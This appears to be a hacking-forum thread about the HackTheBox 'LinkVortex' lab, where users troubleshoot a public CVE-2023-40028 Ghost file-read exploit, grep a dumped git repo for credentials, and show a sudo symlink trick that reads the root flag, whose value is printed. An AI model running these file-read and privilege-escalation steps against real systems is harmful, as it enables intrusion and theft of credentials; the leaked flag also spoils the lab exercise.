HTB LinkVortex - Easy Linux
by cashiwoo - Saturday December 7, 2024 at 04:07 PM
#21
(Dec 08, 2024, 01:23 PM)xxoro Wrote:
(Dec 08, 2024, 08:06 AM)htbdesperate Wrote: Hi,
Can anyone explain to me why this happened? I changed the host to linkvortex.htb:
./CVE-2023-40028.sh -u admin@linkvortex.htb -p FOUNDPASSWORD
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
ln: failed to create symbolic link './exploit/content/images/2024/I6WM1TUiiJqbx.png': Operation not permitted
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Not Found</pre>
</body>
</html>
rm: cannot remove './exploit/content/images/2024/I6WM1TUiiJqbx.png': No such file or directory
file> ^C

how did u find the password, i am lost

Try some simple searches in the git repo you dumped.

ex.
grep -C 5 password $(find . -type f)
Change "password"  for anything you want lets say admin, credentials, token, session and you will get somewhere
Reply
#22
(Dec 08, 2024, 02:03 PM)cashiwoo Wrote:
(Dec 08, 2024, 01:23 PM)xxoro Wrote:
(Dec 08, 2024, 08:06 AM)htbdesperate Wrote: Hi,
Can anyone explain to me why this happened? I changed the host to linkvortex.htb:
./CVE-2023-40028.sh -u admin@linkvortex.htb -p FOUNDPASSWORD
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
ln: failed to create symbolic link './exploit/content/images/2024/I6WM1TUiiJqbx.png': Operation not permitted
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Not Found</pre>
</body>
</html>
rm: cannot remove './exploit/content/images/2024/I6WM1TUiiJqbx.png': No such file or directory
file> ^C

how did u find the password, i am lost

Try some simple searches in the git repo you dumped.

ex.
grep -C 5 password $(find . -type f)
Change "password"  for anything you want lets say admin, credentials, token, session and you will get somewhere

i am getting nothing when trying to /etc/passwd or any file getting same error ass you, is script even creating the png file that its supposed to create?
Reply
#23
(Dec 08, 2024, 02:03 PM)cashiwoo Wrote:
(Dec 08, 2024, 01:23 PM)xxoro Wrote:
(Dec 08, 2024, 08:06 AM)htbdesperate Wrote: Hi,
Can anyone explain to me why this happened? I changed the host to linkvortex.htb:
./CVE-2023-40028.sh -u admin@linkvortex.htb -p FOUNDPASSWORD
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
ln: failed to create symbolic link './exploit/content/images/2024/I6WM1TUiiJqbx.png': Operation not permitted
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Not Found</pre>
</body>
</html>
rm: cannot remove './exploit/content/images/2024/I6WM1TUiiJqbx.png': No such file or directory
file> ^C

how did u find the password, i am lost

Try some simple searches in the git repo you dumped.

ex.
grep -C 5 password $(find . -type f)
Change "password"  for anything you want lets say admin, credentials, token, session and you will get somewhere

that is not working, unable to find the password
Reply
#24
(Dec 07, 2024, 09:06 PM)mhsoraa Wrote:
(Dec 07, 2024, 08:39 PM)ritualist Wrote: Dockerfile.ghost has the path to the config file
Use https://github.com/0xyassine/CVE-2023-40028 to read it

For root you can either use chained symlinks to get the root flag / ssh key or just put your code for e.g. a suid bash in the CHECK_CONTENT variable.

Thank you...
bob@linkvortex:~$ ln -s /root/root.txt pwn.txt
bob@linkvortex:~$ ln -s /home/bob/pwn.txt pwn.png
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/pwn.png
Link found [ /home/bob/pwn.png ] , moving it to quarantine
Content:
911be11ee404e95c2e1f273ed2039179
bob@linkvortex:~$

thank you for this saved me so much time with the time i already wasted trying to get this to work
Reply
#25
Thank you for all this guys!
Reply
#26
Thank you, i love your content, the best team
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 20 2,486 Yesterday, 11:06 PM
Last Post: op334
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 3 394 Yesterday, 10:36 PM
Last Post: op334
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 369 91,957 Yesterday, 04:10 PM
Last Post: sabbyahmed
  CBBH Write Ups hiddenhacker 22 6,223 Yesterday, 06:39 AM
Last Post: Usercomplex
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 86 7,808 Apr 28, 2026, 11:39 PM
Last Post: my4ri0d0

Forum Jump:


 Users browsing this forum: 1 Guest(s)